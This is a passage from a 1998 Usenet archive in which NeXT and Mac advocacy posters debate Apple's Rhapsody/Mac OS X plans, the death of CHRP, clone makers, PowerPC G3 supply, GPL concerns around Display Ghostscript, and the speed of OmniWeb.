that "Entertainment" is the largest "plan to purchase in 1998" category.
I also know that PC games are a large reason I'm finding it difficult
to convince some of my Linux friends to go Mac. They think Rhapsody
is great technology and all, and are open to using it instead of Linux,
but don't want to give up the games on their DOS/Windows dual-boot
systems.
From: <gbh@middlemarch.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.next.misc,comp.sys.next.software
Subject: Re: NXHosting is dead ?
Date: Thu, 21 May 1998 18:26:01 -0400
Organization: Verio Mid-Atlantic
Message-ID: <Pine.GSO.3.96.980521182457.13182C-100000@shell.clark.net>
References: <6jhivm$22a$1@nnrp1.dejanews.com> <6jhnld$a3v$1@crib.bevc.blacksburg.va.us><355C6969.6907242B@trilithon.com> <355c988e.0@192.33.12.30><6jnfkr$qjg$3@news.idiom.com> <SCOTT.98May18212504@slave.doubleu.com>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
To: Scott Hess <scott@doubleu.com>
In-Reply-To: <SCOTT.98May18212504@slave.doubleu.com>
> [...] NetInfo as currently
> implemented has some scaling problems, and there are problems for
> which the scaling problems are intrinsic to the problem, not the
> implementation.
>
What type of problems and at what point do they occur?
Also, what would work better than NetInfo to address
these problems?
--Greg
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: 21 May 1998 19:20:00 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6k2cr0$748$1@crib.bevc.blacksburg.va.us>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <35648F7B.4F0@CONVEX.COM> <6k1ms5$sp3$2@ns3.vrx.net> <3564B1DB.5829@CONVEX.COM>
In article <3564B1DB.5829@CONVEX.COM>, Michael Peck <MJPECK@CONVEX.COM> wrote:
> Can I use the Java language to write YB apps? Will my Java2D/Java3D apps
> benefit from hardware access? Will that JavaMail API be supported? Can I
> use QuickTime streaming media in a Java app?
Assuming Apple isn't lying to us, the answers to the first and last
questions are "yes". Don't know about the middle two. I suspect Java2D
will benefit from hardware access, since it will be implemented directly
on top of the OS X imaging architecture, which will likely be hardware
optimized.
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Date: Thu, 21 May 1998 16:28:48 -0700
Message-ID: <see-below-2105981628490001@209.24.241.47>
References: <joe.ragosta-2005981532310001@wil105.dol.net> <B1889C05-1320C@206.165.43.97> <joe.ragosta-2005982113060001@elk106.dol.net> <rex-2005982337000001@192.168.0.3> <joe.ragosta-2105980833070001@wil111.dol.net>
In article <joe.ragosta-2105980833070001@wil111.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> In article <rex-2005982337000001@192.168.0.3>, rex@smallandmighty.com
> (Eric King) wrote:
>
> > In article <joe.ragosta-2005982113060001@elk106.dol.net>,
> > joe.ragosta@dol.net (Joe Ragosta) wrote:
> >
> >
> > :Microsoft, IBM, Novell, and Sun all dropped their CHRP OSs before Apple.
> > Agreed?
> >
> > No. AIX was a CHRP OS and it's still shipping. IBM's Long Trail
> > motherboard design is eerily similar to their low-end RS/6000s. They share
> > a *lot* of common features.
> >
> > :So, Apple was the only vendor left making an OS that ran on CHRP. They
> > :were the last to drop it. Right?
> >
> > Wrong. PIOS is still working on their CHRP PPC boxes and they're still
> > planning on having the BeOS run on them. CHRP as a marketing tool is dead,
> > some folks are still fiddling with the technology.
>
> OK. I stand corrected.
>
> So, OS/2, Netware, Solaris, and NT were dropped first. Then Mac OS. Two
> minor volume OSs remain on CHRP.
You're going to need to be corrected again. Since MacOS never shipped for
CHRP, that leaves only OS/2, Netware, and perhaps Solaris as being in the
same "absent" category MacOS was. In addition, if you want to talk about
IBM, they were shipping essentially CHRP hardware, which Apple never
delivered. So of the most-important companies involved in CHRP (Apple,
IBM, Motorola, Microsoft), Apple is the only one that didn't ever deliver
_anything_ for it, and in fact blatantly put roadblocks in front of the
whole process.
Apple is the one that killed CHRP, they did it on purpose, and nothing you
say can change that fact. Give it up, Joe, you're not accomplishing
anything by foisting blatant lies on people.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Date: Thu, 21 May 1998 16:30:25 -0700
Message-ID: <see-below-2105981630260001@209.24.241.47>
References: <joe.ragosta-2005980829560001@wil131.dol.net> <B1887964-1E2D8@206.165.43.125> <*johnnyc*-2005981752050001@jchristie.halifaxcable.dal.ca> <see-below-2005981804400001@209.24.242.183> <*johnnyc*-2105981000080001@jchristie.halifaxcable.dal.ca>
In article <*johnnyc*-2105981000080001@jchristie.halifaxcable.dal.ca>,
*johnnyc*@or.psychology.dal.ca (John Christie) wrote:
> In article <see-below-2005981804400001@209.24.242.183>,
> see-below@not-my-address.com (Matthew Vaughan) wrote:
>
> > In article <*johnnyc*-2005981752050001@jchristie.halifaxcable.dal.ca>,
> > *johnnyc*@or.psychology.dal.ca (John Christie) wrote:
> >
> > > Apple was the LAST partner to drop CHRP. After everyone else dropped
> > > it why would they care.
> >
> > Totally wrong. Apple was the only one that never even came to the table.
> > Microsoft _shipeed_ an OS for it, and I think Sun did too. In addition,
> > Motorola actually announced a CHRP computer for delivery soon after, and
> > both Power and Umax had reportedly been chomping at the bit to ship such
> > machines for a long time, only waiting on a version of MacOS that would
> > run on them.
>
> You're thinking of PREP. This is a totally different animal. MS never
> shipped for CHRP and pulled out long before Moto's first hardware. Sun,
> IBM, etc. also pulled out.
And you're saying that PREP operating systems don't run on CHRP hardware?
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Date: Thu, 21 May 1998 16:34:12 -0700
Message-ID: <see-below-2105981634120001@209.24.241.47>
References: <joe.ragosta-2005980829560001@wil131.dol.net> <B1887964-1E2D8@206.165.43.125> <*johnnyc*-2005981752050001@jchristie.halifaxcable.dal.ca> <see-below-2005981804400001@209.24.242.183> <*johnnyc*-2105981003210001@jchristie.halifaxcable.dal.ca>
In article <*johnnyc*-2105981003210001@jchristie.halifaxcable.dal.ca>,
*johnnyc*@or.psychology.dal.ca (John Christie) wrote:
> In article <see-below-2005981804400001@209.24.242.183>,
> see-below@not-my-address.com (Matthew Vaughan) wrote:
>
> > In article <*johnnyc*-2005981752050001@jchristie.halifaxcable.dal.ca>,
> > *johnnyc*@or.psychology.dal.ca (John Christie) wrote:
> >
> > > Well, one of the great promises of CHRP was that it was supposed to run
> > > a bunch of OSes. MacOS was to supposed to gain marketshare through the
> > > backdoor here. If CHRP really came to fruition how did little old Apple
> > > kill it? You would think that running NT, Solaris, and AIX would be
> > > plenty. Why isn't Motorola still selling these machines? Are you telling
> > > us that the MacOS was the most important OS for CHRP compared to NT?
> >
> > Yes. Why would anyone want to switch from NT/Intel to NT/PPC? If they were
> > going to, why not just switch to NT/Alpha? You'd have to give them a darn
> > good reason to do so. The whole idea of CHRP was more to expand the Mac
> > market than anything else.
>
>
> I wonder why it took so long for Apple to figure out that the two
> sentences above make no sense. No one would switch to NT/PPC, and CHRP
> was to expand the Mac market are incompatible statements. People actually
> mourn the loss of this?
Hmm. I see your point, though I think that's partly because my statement
was incomplete. Nobody wants to switch to NT/PPC without having another
reason to do so. So NT/PPC alone wouldn't be enough on its own to make PPC
a mass market. But MacOS is, since the whole Apple line moved to PPC.
So it needed to be a mass market (though still a niche compared to Intel)
_first_, then adding support for those other OSes would have expanded it.
Still, I can see your point that it's quite likely those other systems
woudln't have expanded it very much - probably not enough to be worth the
disadvantages of Apple giving up control of their hardware (and pricing
thereof).
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Date: Thu, 21 May 1998 16:12:37 -0700
Message-ID: <see-below-2105981612370001@209.24.241.47>
References: <joe.ragosta-2105980831500001@wil111.dol.net> <B189AF72-1DB71@206.165.43.125> <joe.ragosta-2105981340080001@wil125.dol.net>
In article <joe.ragosta-2105981340080001@wil125.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> In article <B189AF72-1DB71@206.165.43.125>, "Lawson English"
> <english@primenet.com> wrote:
>
> > Joe Ragosta <joe.ragosta@dol.net> said:
> >
> > >
> > >Of course, you might be arguing that Motorola really _could_ make
> > >quantities of 300 MHz G3 chips with 1 MB 300 MHz L2 last August and they
> > >just withheld these chips from Apple until February. If that's your
> > >argument, though, it would tell a different story about who the bad guy is
> > >here.
> > >
> >
> > But they were planning on selling them at a pretty hefty price, no? Until
> > the supply of 300MHz parts increased, obviously the price would stay high,
> > regardless of who was selling the parts. However, Motorola and IBM would
> > have had incentive to make MORE parts, faster, if they had known that more
> > than one manufacturer was going to be selling them.
>
> Baloney.
>
> The only incentive Motorola's chip division and IBM had to make more parts
> would be the total number of parts sold and the selling price. They
> couldn't care less if they sold 3 million chips to one customer or two.
>
> And the only available evidence says that the cloners didn't increase the
> total market one bit.
There's no evidence whatsoever to suggest that. It's just as likely it
would have declined even more if they weren't there.
On top of which, it was perfectly obvious that Motoroala (and IBM) was
_majorly pissed_ at Apple after the cloning fiasco, and appeared to be
seriously considering getting out of the desktop processor market
entirely.
Motorola's clone sales had been growing rapidly, and with ultra-fast
machines (faster than what Apple is offering even today) combined with OS
8, they probably felt they could start taking a bite out of Intel's hide
for once.
Considering how slowly Apple adopted the fastest available G3 processors,
I think Motorola had reason to slow down their chip production plans
(until Apple finally placed a large order for G3 chips, that is).
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 21 May 1998 23:33:29 GMT
Organization: Idiom Communications
Message-ID: <6k2dk9$o13$1@news.idiom.com>
References: <ericb-1105981718430001@132.236.171.104> <ericb-1705981603400001@132.236.171.104>
<joe.ragosta-1805980747570001@wil100.dol.net> <ericb-1805981357420001@132.236.171.104>
<6jpu6k$rps$1@crib.bevc.blacksburg.va.us> <see-below-1805981711480001@209.24.240.36>
<ericb-2005981944160001@132.236.171.104> <aa829-2105981528170001@port24.dialb2.gain-ny.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: aa829@ccn.cs.dal.ca
Charlie Mingo may or may not have said:
-> In article <ericb-2005981944160001@132.236.171.104>, ericb@pobox.com (Eric
-> Bennett) wrote:
->
-> > Who is Bertrand, and can I see this keynote at
-> > http://isocket.gzx.com/theater.html ? If so, which session is it?
->
-> He is Bertrand Serlet, Apple VP for Platform Technologies, who is in
-> charge of YellowBox development.
->
-> The session is #117, Rhapsody and YellowBox in 1998, the second item on
-> the Tuesday column on that web-page.
->
-> At the very end of the Q&A, Bertrand is asked about "the long-term future
-> of Rhapsody for Intel," and he says...
->
-> "We'll continue to do Rhapsody for Intel, and the reason is that we want
-> to make sure that all the software we have is absolutely cross-platform,
-> and the best way to make sure it's cross-platform is actually to do it,
-> because if you don't do it, well, typically it doesn't work. So we will
-> do that."
Well, that makes me feel a lot better. Bertrand has the authority at Apple
to make this happen, and if he says that's how it's going to be, then that's
how it's going to be.
Of course, a viable Rhapsody/Intel does need some ongoing effort in creating
drivers for new boards and so forth, and I hope he'll keep a few people on
it. On thing that *could* happen is that Rhapsody/Intel might continue to be
starved for drivers for the latest spiffy add-ons.
-jcr
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: The New Rhapsody (aka Mac OS X)
Date: Thu, 21 May 1998 16:56:40 -0700
Message-ID: <see-below-2105981656410001@209.24.241.47>
References: <1d8xs8m.mqho5znnswjkN@amtmtc.demon.co.uk> <6jplnc$kiv$3@brownfox.svs.com> <maury-1805981757210001@ts32-15.tor.istar.ca> <3563c4fc.0@news.camtech.net.au> <rmcassid-2105981009430001@dante.eng.uci.edu> <6k187l$giu$6@ns3.vrx.net>
In article <6k187l$giu$6@ns3.vrx.net>, maury@remove_this.istar.ca (Maury
Markowitz) wrote:
> In <rmcassid-2105981009430001@dante.eng.uci.edu> Robert Cassidy claimed:
> > Well, CNN Interactive and news.com load on OmniWeb on DR2 virtually
> > instantly, maybe a second - the whole page, all graphics, everything just
> > pops up at once - it's *really* impressive.
>
> Yup. And OmniWeb itself is stunning. When older Mac owners ask you why
> they should upgrade, show them OW and then watch them ask you to go to
> www.store.apple.com.
I've always found Internet Explorer way superior to Netscape in this exact
way (since 3.01). How does OmniWeb compare to IE?
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: BW: Kiss of Death
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <y_291.1281$Kx3.1887112@news.rdc1.sdca.home.com>
Date: Thu, 21 May 1998 23:43:26 GMT
NNTP-Posting-Date: Thu, 21 May 1998 16:43:26 PDT
Organization: @Home Network
In the high tech, biotechnology sector here in So. Cal its a standing joke
that if BusinessWeek magazine calls wanting an interview, run the other way.
They have a reputation for spinning their interviews negative. It's a sure
bet their story will pull your company down.
So when I see Scott's Stepwise.com site headlining BusinessWeek, I took a deep
breath... Oops. It looks like they've chosen to spin the Apple comeback story
as 1984 over again. Well true to form they've found the negative spin on
Apple.
Go read:
http://www.businessweek.com/1998/21/b3579156.htm
-r
Date: Fri, 22 May 1998 10:13:39 +0930
From: "timothyp@tne.net.au" <timothyp@tne.net.au>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: The New Rhapsody (aka Mac OS X)
References: <1d8xs8m.mqho5znnswjkN@amtmtc.demon.co.uk>
<6jplnc$kiv$3@brownfox.svs.com>
<maury-1805981757210001@ts32-15.tor.istar.ca>
<3563c4fc.0@news.camtech.net.au>
<rmcassid-2105981009430001@dante.eng.uci.edu>
Organization: Cybermarket Australia
Mime-version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit
Message-ID: <3564c8e8.0@news.camtech.net.au>
In article <rmcassid-2105981009430001@dante.eng.uci.edu> , rmcassid@uci.edu
(Robert Cassidy) wrote:
>In article <3563c4fc.0@news.camtech.net.au>, "timothyp@tne.net.au"
><timothyp@tne.net.au> wrote:
>
>>Just how responsive does it seem now? Given that this
>>is my major gripe with Mac OS, I would be interested to know how much better
>>Rhapsody DR2 is.
>
>Well, CNN Interactive and news.com load on OmniWeb on DR2 virtually
>instantly, maybe a second - the whole page, all graphics, everything just
>pops up at once - it's *really* impressive. CNN takes 6 seconds to load
>under 8.1 w/ Navigator 4.0.4 on a G3/266 by comparison (same networking
>performance, nothing cached, both done within seconds of one another etc.)
>
>Cudos to Omni and Apple.
>
>-Bob Cassidy
You beauty! Its about time we got a browser that could compete or beat the
windows versions. As I have said before, it is a bloody embarassment to have my
PowerMac trounced by a dx/2-66 when running Navigtor on both. How would you
compare Omniwebs speed on dr2 to that of IE or Navigator on an equivalent (or
roughly equivalent PC)?
Tim (still waiting for a decent Mac browser) Priest
Date: Thu, 21 May 1998 20:51:54 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Message-ID: <joe.ragosta-2105982051550001@elk126.dol.net>
References: <joe.ragosta-2105980831500001@wil111.dol.net> <B189AF72-1DB71@206.165.43.125> <joe.ragosta-2105981340080001@wil125.dol.net> <see-below-2105981612370001@209.24.241.47>
In article <see-below-2105981612370001@209.24.241.47>,
see-below@not-my-address.com (Matthew Vaughan) wrote:
> In article <joe.ragosta-2105981340080001@wil125.dol.net>,
> joe.ragosta@dol.net (Joe Ragosta) wrote:
>
> > In article <B189AF72-1DB71@206.165.43.125>, "Lawson English"
> > <english@primenet.com> wrote:
> >
> > > Joe Ragosta <joe.ragosta@dol.net> said:
> > >
> > > >
> > > >Of course, you might be arguing that Motorola really _could_ make
> > > >quantities of 300 MHz G3 chips with 1 MB 300 MHz L2 last August and they
> > > >just withheld these chips from Apple until February. If that's your
> > > >argument, though, it would tell a different story about who the bad
guy is
> > > >here.
> > > >
> > >
> > > But they were planning on selling them at a pretty hefty price, no? Until
> > > the supply of 300MHz parts increased, obviously the price would stay high,
> > > regardless of who was selling the parts. However, Motorola and IBM would
> > > have had incentive to make MORE parts, faster, if they had known that more
> > > than one manufacturer was going to be selling them.
> >
> > Baloney.
> >
> > The only incentive Motorola's chip division and IBM had to make more parts
> > would be the total number of parts sold and the selling price. They
> > couldn't care less if they sold 3 million chips to one customer or two.
> >
> > And the only available evidence says that the cloners didn't increase the
> > total market one bit.
>
> There's no evidence whatsoever to suggest that. It's just as likely it
> would have declined even more if they weren't there.
The only evidence available was from Steve Jobs. He claimed that 99% of
PCC's customers were Mac users already. You may not believe him, but that
is the only available evidence.
>
> On top of which, it was perfectly obvious that Motoroala (and IBM) was
> _majorly pissed_ at Apple after the cloning fiasco, and appeared to be
> seriously considering getting out of the desktop processor market
> entirely.
>
> Motorola's clone sales had been growing rapidly, and with ultra-fast
> machines (faster than what Apple is offering even today) combined with OS
> 8, they probably felt they could start taking a bite out of Intel's hide
> for once.
None of which supports Lawson's assertion that IBM or Motorola would have
moved any faster if there were more vendors.
>
> Considering how slowly Apple adopted the fastest available G3 processors,
> I think Motorola had reason to slow down their chip production plans
> (until Apple finally placed a large order for G3 chips, that is).
Wait a second. Apple released the G3/300 within weeks of the announcement
that G3/300 chips existed. The 9600 and 8600 machines with Mach5
processors were also released within weeks of chip announcements. How much
faster do you want Apple to move?
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
Date: Fri, 22 May 1998 10:19:18 +0930
From: "timothyp@tne.net.au" <timothyp@tne.net.au>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: The New Rhapsody (aka Mac OS X)
References: <1d8xs8m.mqho5znnswjkN@amtmtc.demon.co.uk>
<6jplnc$kiv$3@brownfox.svs.com>
<maury-1805981757210001@ts32-15.tor.istar.ca>
<3563c4fc.0@news.camtech.net.au>
<rmcassid-2105981009430001@dante.eng.uci.edu> <6k187l$giu$6@ns3.vrx.net>
<see-below-2105981656410001@209.24.241.47>
Organization: Cybermarket Australia
Mime-version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit
Message-ID: <3564ca3f.0@news.camtech.net.au>
In article <see-below-2105981656410001@209.24.241.47> ,
see-below@not-my-address.com (Matthew Vaughan) wrote:
>In article <6k187l$giu$6@ns3.vrx.net>, maury@remove_this.istar.ca (Maury
>Markowitz) wrote:
>
>> In <rmcassid-2105981009430001@dante.eng.uci.edu> Robert Cassidy claimed:
>> > Well, CNN Interactive and news.com load on OmniWeb on DR2 virtually
>> > instantly, maybe a second - the whole page, all graphics, everything just
>> > pops up at once - it's *really* impressive.
>>
>> Yup. And OmniWeb itself is stunning. When older Mac owners ask you why
>> they should upgrade, show them OW and then watch them ask you to go to
>> www.store.apple.com.
>
>
>I've always found Internet Explorer way superior to Netscape in this exact
>way (since 3.01). How does OmniWeb compare to IE?
True, but both IE and Netscape have pretty bad caching on the Mac. IE is
superior to Netscape's but both are still poor when compared to the PC
offerings. This is the one thing Cyberdog did well. It may have taken ages to
load pages and formatted in strange ways BUT once a page was cached it was
CACHED. Swapping between cached pages was virtually instantaneous on all but
the most complex pages. Something the IE and Navigator do on all PC versions of
their products.
Go Omni! I hope Apple continues to work with MS and Netscape on the Mac side to
get a decent offering from them in terms of speed. I hear people saying 4.01 is
substantially faster. My question is "Than what???" 4.0 is about all. 3.01 is
still faster and way more responsive than 4.01.
Tim Priest
From: cbbrowne@news.hex.net (Christopher Browne)
Newsgroups: comp.sys.next.advocacy
Subject: Re: OpenStep for Windoze $20?
Date: 22 May 1998 00:39:48 GMT
Organization: Hex.Net Superhighway, DFW Metroplex 817-329-3182
Message-ID: <6k2hgk$6dg$9@blue.hex.net>
References: <6jboq5$eua$9@news.idiom.com> <6jchqg$1cc$21@ironhorse.plsys.co.uk> <slrn6ljskk.p80.sal@panix3.panix.com> <3559F5D4.96E43F72@unet.univie.ac.at> <slrn6lkdcp.o39.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <6jdenk$53h$3@news.xmission.com> <355af7e5.0@206.25.228.5> <355B49C0.10D34097@unet.univie.ac.at> <355b5409.0@206.25.228.5> <6jfkuq$gn2$1@cronkite.cygnus.com> <355B6B90.AD8F648F@milestonerdl.com> <SCOTT.98May21114105@slave.doubleu.com>
On 21 May 98 11:41:05, Scott Hess <scott@doubleu.com> wrote:
>In article <355B6B90.AD8F648F@milestonerdl.com>,
> M Rassbach <mark@milestonerdl.com> writes:
> John Rudd wrote:
> > Actually, I don't understand why Apple doesn't just invest the
> > money and/or programmers into GnuStep to get DGS finished
>
> Apple isn't going to help what competes with them. DGS would help
> GnuSTEP and GnuSTEP takes a crown jewel and clones it.
>
>The Apple and NeXT people are either crackerjack designers and coders,
>or they aren't. If they are, then it doesn't make a difference
>whether they give a leg up for free, if they aren't, then it doesn't
>make a difference either.
Good summary...
>If Apple invested a couple people and brought DGS up to the speed they
>want, and distributed it for free, it's not a big deal.
The problem that exists with this is that DGS is probably being
distributed under the GPL. (The "probably" qualifier because I haven't
checked this against the sources lately.)
Depending on how Apple were to try to integrate DGS in with their
systems, this might, or might not result in problems, due to the
"infamous GPL virus."
- If Apple ran DGS as a "daemon," servicing requests from elsewhere on
the system *AS A SEPARATE PROCESS,* it would commonly be considered
that this is quite kosher, and cause no problems.
- If, however, they preferred to integrate DGS at the source code level
with other Rhapsody components, this would require that those other
components also be released under the GPL.
The "worst case" scenario would be if DGS got deeply integrated with
much of the rest of the system, with the result that *all* of Rhapsody
(or whatever system we'd be talking about) would have to be released
under the GPL. Which ain't gonna fly.
Based on some email that has gone back and forth betwixt my mailbox and
that of someone that appears somehow associated with Apple, indications
are that this *IS* a significant concern. They might consider
Ghostscript as a system component were it not GPLed.
On the "up" side, in the Brave New World of Mach and Microkernels, it
becomes quite a reasonable idea to have a system component like DGS run
as a daemon, having it *NOT* overly integrated with the rest of the
system. Moreover, this is consistent with the needs and goals of other
projects that might wish to do "useful things" with DGS.
On an X-based system, for instance, you'd want to have DGS run as a
daemon that communicates assortedly with the X server and with the
applications that need DPS services. Layers such as a "GNUStep
server/library" might come in between DGS and the actual user
application.
That is not unlike the way, on a Linux system, Ghostscript is used to
reprocess Postscript output that has been pushed to a print queue. The
use of GS is quite decoupled from the application that generated the PS
output, to the point that it requires merely a little configuration
effort to redirect output to another computer so that GS might be
running on a completely separate computer... But I digress...
>In fact, for all that DPS is necessary for the Appkit at this time, a
>good argument could be made that it's not that big of a piece of it.
>An automobile isn't going anywhere without wheels, but the wheels
>aren't where the neat stuff happens,
Bridgestone and Pirelli would, no doubt, like to disagree with you on
this, but you're essentially correct...
--
"Even more amazing was the realization that God has Internet access. I
wonder if He has a full newsfeed?" (By Matt Welsh)
cbbrowne@hex.net - <http://www.hex.net/~cbbrowne/lsf.html>
From: cbbrowne@news.hex.net (Christopher Browne)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Alternatives to Adobe
Date: 22 May 1998 00:39:49 GMT
Organization: Hex.Net Superhighway, DFW Metroplex 817-329-3182
Message-ID: <6k2hgl$6dg$10@blue.hex.net>
References: <6jh6lm$526$1@news.idiom.com> <SCOTT.98May20172601@slave.doubleu.com>
On 20 May 98 17:26:01, Scott Hess <scott@doubleu.com> wrote:
>In article <6jh6lm$526$1@news.idiom.com>,
> jcr.remove@this.phrase.idiom.com (John C. Randolph) writes:
> I'd just like to mention that there are at least three alternatives
> to Adobe DPS for a functional equivalent:
>
> 1) Display Ghostscript. Already a work in progress.
There may on the one hand be licensing concerns; on the other hand, I'll
bet that they'd sell an unlimited license for somewhat less than the
$1.6B figure suggested below...
> 2) Sun's NeWS....
> 3) SGI's implementation of NeWS....
I expect that buying either would require going to Sun. SGI no doubt
has rights to resell their implementation, if they had rights to resell
the sources, I'd be surprised...
>4) Adobe DPS. $1.6B/($20/copy)==80M copies.
That's quite the chunk of change.
--
"Even more amazing was the realization that God has Internet access. I
wonder if He has a full newsfeed?" (By Matt Welsh)
cbbrowne@hex.net - <http://www.hex.net/~cbbrowne/lsf.html>
From: Josh.McKee@cbns.com (Joshua T. McKee)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Thu, 21 May 1998 18:32:30 -0600
Organization: Central Business Network Solutions
Message-ID: <Josh.McKee-2105981832300001@pm3a23.rmac.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981 <rmcassid-1905980044070001@dante.eng.uci.edu> <6js61j$g18$1@inconnu.isu.edu> <6jtgid$vp6$5@ligarius.ultra.net> <Josh.McKee-2005981950070001@pm3a17.rmac.net> <6k1862$vn6$3@strato.ultra.net>
In article <6k1862$vn6$3@strato.ultra.net>, "John Saunders"
<jws@jws.ultranet.com> wrote:
> I meant, "why can't Netscape implement the interfaces Microsoft has defined,
> so that third party vendors can get the benefit of Netscape's technology".
You're still not clear...do you mean why doesn't Netscape use the API's
Microsoft has provided and use them in its web browsers? Or why doesn't
Netscape come up with their own API's like Microsoft has done?
Josh
From: Henry McGilton <henry@trilithon.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: NSHosting and MacOS X
Date: Thu, 21 May 1998 17:47:58 -0700
Organization: Trilithon Research and Trading
Message-ID: <3564CB3E.AA974741@trilithon.com>
References: <1d93iik.1l170dz8etsaxN@carina47.wco.com> <01bd80c6$be64d100$a4e82080@mizuki.HIP.Berkeley.EDU> <SCOTT.98May18215210@slave.doubleu.com> <6k1uic$6dp$1@crib.bevc.blacksburg.va.us>
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Nathan Urban wrote:
* I've run through all of the words, acronyms, and
* potential misspellings I can think of, to no avail.
* So tell me.. what the heck is "palpimset"??
I assume it's just a mis-spelling of Palimpsest. About
as obsolete as a Zumbooruk.
........ Henry
=============================================================
Henry McGilton | Trilithon Software, and,
Boulevardier, Java Composer | Pacific Research and Trading
-----------------------------+-------------------------------
mailto:henry@trilithon.com | http://www.trilithon.com
=============================================================
From: tbrown@netset.com (Ted Brown)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: Thu, 21 May 1998 20:58:46 -0400
Organization: All USENET -- http://www.Supernews.com
Message-ID: <tbrown-2105982058470001@mv098.axom.com>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <6jk3qs$a4a@ragnarok.en.uunet.de> <B0p71.134$Jb1.1203626@news.rdc1.sfba.home.com> <joe.ragosta-1605981948230001@elk32.dol.net> <maury-1805981747350001@ts32-15.tor.istar.ca> <tbrown-1805982347260001@mv130.axom.com> <6jrnc2$4rf$3@ns3.vrx.net> <tbrown-1905982250120001@mv163.axom.com> <6ju999$7vp$3@ns3.vrx.net> <markeaton-2005981930520001@user-38ld60e.dialup.mindspring.com>
In article
<markeaton-2005981930520001@user-38ld60e.dialup.mindspring.com>,
markeaton@mindspring.canned-meat-filter.com (Mark Eaton) wrote:
>In article <6ju999$7vp$3@ns3.vrx.net>, maury@remove_this.istar.ca (Maury
>Markowitz) wrote:
>
>> In <tbrown-1905982250120001@mv163.axom.com> Ted Brown claimed:
>> > Well, Apple already has an OS 8 Finder, why won't it work?
>>
>> It will, but it won't be tasked or protected under the new OS.
Putting the
>> only program that runs _all_ the time into the unprotected area is _bad_.
>>
>
>The Finder in MacOS X will be based on Carbon. *All* Carbon apps run in
>their own protected address space and are scheduled preemptively against
>other processes.
Ack! Spittle!
Missing part of the thread here. In the above context Carbon apps are
_not_ in their own protected space blah blah blah, as they are running
under OS 8, not OS X.
The question is why bother with a 'single code base' between the finders
for OS 8 and OS X using Carbon when a Carbon Finder under OS 8 doesn't
seem to offer any advantages over the current OS 8 Finder? Anyone care to
tell me how a Carbon OS 8 Finder will be better than the existing OS 8
Finder?
If it's no better, then a 'single code base' really isn't that important,
the Finder for OS 8/9 is pretty clearly near the end of it's life, and
Apple will put it in maintenace mode to focus on the future, OS X. I
know that the OS 8 has some improvments coming, but they are already in
the pipeline (ie carbonizing it will only slow down the work).
Now Apple seems to already have a Yellow Finder to use in OS X, and there
seems to be great benefits in using Yellow, most importanlty the ease at
which Apple (and third parties) can extend it, and the cleaner code base
to work from.
